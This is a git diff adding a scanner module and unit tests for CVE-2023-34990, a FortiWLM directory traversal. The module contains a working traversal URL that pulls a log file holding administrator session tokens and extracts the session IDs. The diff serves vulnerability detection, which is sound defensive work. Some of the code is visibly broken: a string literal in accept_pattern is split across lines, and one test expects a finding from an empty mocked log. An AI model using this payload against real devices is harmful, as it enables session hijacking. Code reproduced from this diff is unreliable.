diff --git a/agent/exploits/cve_2023_34990.py b/agent/exploits/cve_2023_34990.py
new file mode 100644
index 0000000..5cc8ab1
--- /dev/null
+++ b/agent/exploits/cve_2023_34990.py
@@ -0,0 +1,89 @@
+"""Agent Asteroid implementation for CVE-2023-34990"""
+
+import re
+import datetime
+
+import requests
+
+from agent import definitions
+from agent import exploits_registry
+from agent.exploits import webexploit
+
+DEFAULT_TIMEOUT = datetime.timedelta(seconds=90)
+
+VULNERABILITY_TITLE = "FortiWLM Directory Traversal"
+VULNERABILITY_REFERENCE = "CVE-2023-34990"
+VULNERABILITY_DESCRIPTION = (
+ "CVE-2023-34990 is a critical flaw in FortiWLM that allows unauthenticated attackers to exploit the /ems/cgi-bin/ezrf_lighttpd.cgi "
+ "endpoint by injecting directory traversal sequences (../) into the imagename parameter. "
+ "This grants attackers access to sensitive log files, including administrator session tokens, enabling session hijacking and "
+ "access to restricted endpoints. The following versions of FortiWLM are impacted by CVE-2023-34990:"
+ "FortiWLM 8.5: Versions 8.5.0 through 8.5.4"
+ "FortiWLM 8.6: Versions 8.6.0 through 8.6.5"
+)
+RISK_RATING = "CRITICAL"
+
+EXPLOIT_URL = "/ems/cgi-bin/ezrf_lighttpd.cgi?op_type=upgradelogs&imagename=../../../../../../../../../data/apps/nms/logs/httpd_error_log"
+
+
+def _fetch_log_file(target_url: str) -> str | None:
+ """
+ Sends a crafted request to fetch the log file containing sensitive information.
+
+ Args:
+ target_url: The full URL to the vulnerable endpoint.
+
+ Returns:
+ The content of the log file, if accessible, or an empty string.
+ """
+ try:
+ response = requests.get(
+ target_url, timeout=DEFAULT_TIMEOUT.seconds, verify=False
+ )
+ if response.status_code == 200:
+ return response.text
+ except requests.RequestException:
+ pass
+
+ return None
+
+
+def _extract_session_id(log_content: str) -> list[str]:
+ """
+ Extracts session IDs from the log file content.
+
+ Args:
+ log_content: The content of the fetched log file.
+
+ Returns:
+ A list of extracted session IDs.
+ """
+ session_ids = re.findall(r"sessionid=([A-F0-9]+)", log_content)
+ return session_ids
+
+
+@exploits_registry.register
+class CVE202334990Exploit(webexploit.WebExploit):
+ accept_request = definitions.Request(method="GET", path="/")
+ accept_pattern = [re.compile("
FortiWLM Login")]
+
+ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
+ vulnerabilities: list[definitions.Vulnerability] = []
+
+ target_url = f"{target.origin}{EXPLOIT_URL}"
+ log_content = _fetch_log_file(target_url)
+
+ if log_content is not None:
+ session_ids = _extract_session_id(log_content)
+ if len(session_ids) > 0:
+ vulnerability = self._create_vulnerability(target)
+ vulnerabilities.append(vulnerability)
+
+ return vulnerabilities
+
+ metadata = definitions.VulnerabilityMetadata(
+ title=VULNERABILITY_TITLE,
+ description=VULNERABILITY_DESCRIPTION,
+ reference=VULNERABILITY_REFERENCE,
+ risk_rating=RISK_RATING,
+ )
diff --git a/tests/exploits/cve_2023_34990_test.py b/tests/exploits/cve_2023_34990_test.py
new file mode 100644
index 0000000..a9d8f30
--- /dev/null
+++ b/tests/exploits/cve_2023_34990_test.py
@@ -0,0 +1,121 @@
+"""Unit tests for Agent Asteroid: CVE-2023-34990"""
+
+import requests
+import requests_mock as req_mock
+from pytest_mock import plugin
+
+from agent import definitions
+from agent.exploits import cve_2023_34990
+
+
+def testCVE202334990_whenVulnerable_reportFinding(
+ mocker: plugin.MockerFixture,
+ requests_mock: req_mock.mocker.Mocker,
+) -> None:
+ """CVE-2023-34990 unit test: case when target is vulnerable."""
+
+ mock_fetch_log_file = mocker.patch(
+ "agent.exploits.cve_2023_34990._fetch_log_file",
+ return_value=(
+ """"""
+ ),
+ )
+ requests_mock.get(
+ "http://localhost:80/",
+ text="""FortiWLM Login""",
+ status_code=200,
+ )
+
+ exploit_instance = cve_2023_34990.CVE202334990Exploit()
+
+ target = definitions.Target("http", "localhost", 80)
+
+ accept = exploit_instance.accept(target)
+ vulnerabilities = exploit_instance.check(target)
+
+ assert accept is True
+ assert len(vulnerabilities) == 1
+ vulnerability = vulnerabilities[0]
+ assert vulnerability.entry.title == cve_2023_34990.VULNERABILITY_TITLE
+ assert vulnerability.entry.risk_rating == "CRITICAL"
+ assert vulnerability.technical_detail == (
+ "http://localhost:80 is vulnerable to CVE-2023-34990, FortiWLM Directory Traversal"
+ )
+ mock_fetch_log_file.assert_called_once_with(
+ "http://localhost:80/ems/cgi-bin/ezrf_lighttpd.cgi?op_type=upgradelogs&imagename=../../../../../../../../../data/apps/nms/logs/httpd_error_log"
+ )
+
+
+def testCVE202334990_whenSafe_reportNothing(
+ mocker: plugin.MockerFixture,
+ requests_mock: req_mock.mocker.Mocker,
+) -> None:
+ """CVE-2023-34990 unit test: case when target is not vulnerable."""
+
+ mock_fetch_log_file = mocker.patch(
+ "agent.exploits.cve_2023_34990._fetch_log_file", return_value=None
+ )
+ requests_mock.get(
+ "http://localhost:80/",
+ text="""FortiWLM Login""",
+ status_code=200,
+ )
+
+ exploit_instance = cve_2023_34990.CVE202334990Exploit()
+
+ target = definitions.Target("http", "localhost", 80)
+
+ accept = exploit_instance.accept(target)
+ vulnerabilities = exploit_instance.check(target)
+
+ assert accept is True
+ assert len(vulnerabilities) == 0
+ mock_fetch_log_file.assert_called_once_with(
+ "http://localhost:80/ems/cgi-bin/ezrf_lighttpd.cgi?op_type=upgradelogs&imagename=../../../../../../../../../data/apps/nms/logs/httpd_error_log"
+ )
+
+
+def testCVE202334990_whenError_fetchLogFileHandlesErrorGracefully(
+ requests_mock: req_mock.mocker.Mocker,
+) -> None:
+ """CVE-2023-34990 unit test: case when _fetch_log_file encounters an error gracefully and returns no vulnerabilities."""
+
+ requests_mock.get(
+ "http://localhost:80/",
+ text="""FortiWLM Login""",
+ status_code=200,
+ )
+ requests_mock.get(
+ "http://localhost:80/ems/cgi-bin/ezrf_lighttpd.cgi",
+ exc=requests.exceptions.RequestException("Simulated request exception"),
+ )
+
+ exploit_instance = cve_2023_34990.CVE202334990Exploit()
+ target = definitions.Target("http", "localhost", 80)
+
+ accept = exploit_instance.accept(target)
+ vulnerabilities = exploit_instance.check(target)
+
+ assert accept is True
+ assert len(vulnerabilities) == 0
+
+
+def testCVE202334990_whenLogFileFetchSucceeds_vulnerabilitiesFound(
+ requests_mock: req_mock.mocker.Mocker,
+) -> None:
+ """CVE-2023-34990 unit test: case when _fetch_log_file successfully fetches the log file."""
+
+ mock_log_content = "sessionid=ABC1234 sessionid=XYZ5678"
+ requests_mock.get(
+ "http://localhost:80/ems/cgi-bin/ezrf_lighttpd.cgi",
+ text=mock_log_content,
+ status_code=200,
+ )
+
+ exploit_instance = cve_2023_34990.CVE202334990Exploit()
+ target = definitions.Target("http", "localhost", 80)
+
+ vulnerabilities = exploit_instance.check(target)
+
+ assert len(vulnerabilities) == 1
+ assert vulnerabilities[0].entry.title == cve_2023_34990.VULNERABILITY_TITLE